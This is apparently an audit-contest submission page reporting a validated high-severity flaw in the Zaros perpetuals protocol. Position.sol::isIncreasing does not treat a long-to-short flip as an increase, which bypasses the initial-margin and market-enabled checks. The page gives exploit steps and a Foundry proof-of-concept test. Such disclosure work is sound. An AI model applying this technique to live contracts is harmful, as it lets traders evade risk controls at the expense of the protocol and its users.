Zaros Part 1
Zaros
DeFiFoundry
60,000 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

`Position.sol::isIncreasing` Incorrect Logic Results in Traders Increasing trade Size While Market is Paused and Trade Ignores Initial Margin Requirements.

izuman

Summary

Position.sol::isIncreasing does not handle the case where a trader converts a position from short => long or a long => short.

Vulnerability Details

Position.sol::isIncreasing will return false even when a trader is increasing their trade size, but the trade has to switch from a long to short position or vice versa.

Link

function isIncreasing(
uint128 tradingAccountId,
uint128 marketId,
int128 sizeDelta
)
internal
view
returns (bool)
{
Data storage self = Position.load(tradingAccountId, marketId);
​
// If position is being opened (size is 0) or if position is being increased (sizeDelta direction is same as
// position size)
// For a positive position, sizeDelta should be positive to increase, and for a negative position, sizeDelta
// should be negative to increase.
// This also implicitly covers the case where if it's a new position (size is 0), it's considered an increase.
return self.size == 0 || (self.size > 0 && sizeDelta > 0) || (self.size < 0 && sizeDelta < 0);
}
}

Example steps to exploit

Setup:

  1. Normal trade is opened with tradeSize

Exploitation:
2. Position is adjusted -n * tradeSize where n > 2 ( n does not necessarily have to be greater than two but to take advantage of the exploit an attacker would use n > 2)

PoC

Place the following test in the fillMarketOrder.t.sol file.
Run forge test --mt testFuzz_WillNotRevertEvenIfTheSettlementStrategyIsDisabled

function testFuzz_WillNotRevertEvenIfTheSettlementStrategyIsDisabled(
uint256 initialMarginRate,
uint256 marginValueUsd,
bool isLong,
uint256 marketId
)
external
givenTheSenderIsTheKeeper
givenTheMarketOrderExists
givenThePerpMarketIsEnabled
givenTheSettlementStrategyIsEnabled
{
MarketConfig memory fuzzMarketConfig = getFuzzMarketConfig(marketId);
initialMarginRate = bound({ x: initialMarginRate, min: fuzzMarketConfig.imr, max: MAX_MARGIN_REQUIREMENTS });
marginValueUsd = bound({
x: marginValueUsd,
min: USDC_MIN_DEPOSIT_MARGIN,
max: convertUd60x18ToTokenAmount(address(usdc), USDC_DEPOSIT_CAP_X18.div(ud60x18(3e18)))
});
​
deal({ token: address(usdc), to: users.naruto.account, give: 10 * marginValueUsd });
​
uint128 tradingAccountId = createAccountAndDeposit(marginValueUsd, address(usdc));
int128 sizeDelta = fuzzOrderSizeDelta(
FuzzOrderSizeDeltaParams({
tradingAccountId: tradingAccountId,
marketId: fuzzMarketConfig.marketId,
settlementConfigurationId: SettlementConfiguration.MARKET_ORDER_CONFIGURATION_ID,
initialMarginRate: ud60x18(initialMarginRate),
marginValueUsd: ud60x18(marginValueUsd),
maxSkew: ud60x18(fuzzMarketConfig.maxSkew),
minTradeSize: ud60x18(fuzzMarketConfig.minTradeSize),
price: ud60x18(fuzzMarketConfig.mockUsdPrice),
isLong: isLong,
shouldDiscountFees: true
})
);
​
perpsEngine.createMarketOrder(
OrderBranch.CreateMarketOrderParams({
tradingAccountId: tradingAccountId,
marketId: fuzzMarketConfig.marketId,
sizeDelta: sizeDelta
})
);
​
bytes memory mockSignedReport =
getMockedSignedReport(fuzzMarketConfig.streamId, fuzzMarketConfig.mockUsdPrice);
address marketOrderKeeper = marketOrderKeepers[fuzzMarketConfig.marketId];
​
changePrank({ msgSender: marketOrderKeeper });
​
perpsEngine.fillMarketOrder(tradingAccountId, fuzzMarketConfig.marketId, mockSignedReport);
​
skip(3600 seconds);
changePrank({ msgSender: users.naruto.account });
perpsEngine.depositMargin(tradingAccountId, address(usdc), marginValueUsd);
​
perpsEngine.createMarketOrder(
OrderBranch.CreateMarketOrderParams({
tradingAccountId: tradingAccountId,
marketId: fuzzMarketConfig.marketId,
sizeDelta: -3 * sizeDelta
})
);
​
SettlementConfiguration.DataStreamsStrategy memory marketOrderConfigurationData = SettlementConfiguration
.DataStreamsStrategy({
chainlinkVerifier: IVerifierProxy(mockChainlinkVerifier),
streamId: fuzzMarketConfig.streamId
});
SettlementConfiguration.Data memory marketOrderConfiguration = SettlementConfiguration.Data({
strategy: SettlementConfiguration.Strategy.DATA_STREAMS_DEFAULT,
isEnabled: false,
fee: DEFAULT_SETTLEMENT_FEE,
keeper: marketOrderKeepers[fuzzMarketConfig.marketId],
data: abi.encode(marketOrderConfigurationData)
});
​
changePrank({ msgSender: users.owner.account });
​
perpsEngine.updateSettlementConfiguration({
marketId: fuzzMarketConfig.marketId,
settlementConfigurationId: SettlementConfiguration.MARKET_ORDER_CONFIGURATION_ID,
newSettlementConfiguration: marketOrderConfiguration
});
​
bytes memory mockSignedReport2 =
getMockedSignedReport(fuzzMarketConfig.streamId, fuzzMarketConfig.mockUsdPrice);
​
changePrank({ msgSender: marketOrderKeeper });
// it should revert
//vm.expectRevert({ revertData: Errors.SettlementDisabled.selector });
perpsEngine.fillMarketOrder(tradingAccountId, fuzzMarketConfig.marketId, mockSignedReport2);
}

Impact

Since the positionSize is not considered to be increasing it will bypass multiple checks which include:

  1. Minimal Margin Requirements for opening/increasing will not be used, instead it will use the Maintenance Margin which is smaller. Link

  2. Checks for if markets are enabled will be ignored. Link

Tools Used

Foundry testing and manual review

Recommendations

Position.sol::isIncreasing should compare the absolute value of the position size to determine if the trade size is increasing.

Updates

Lead Judging Commences

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Disable market limitation can be bypassed

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.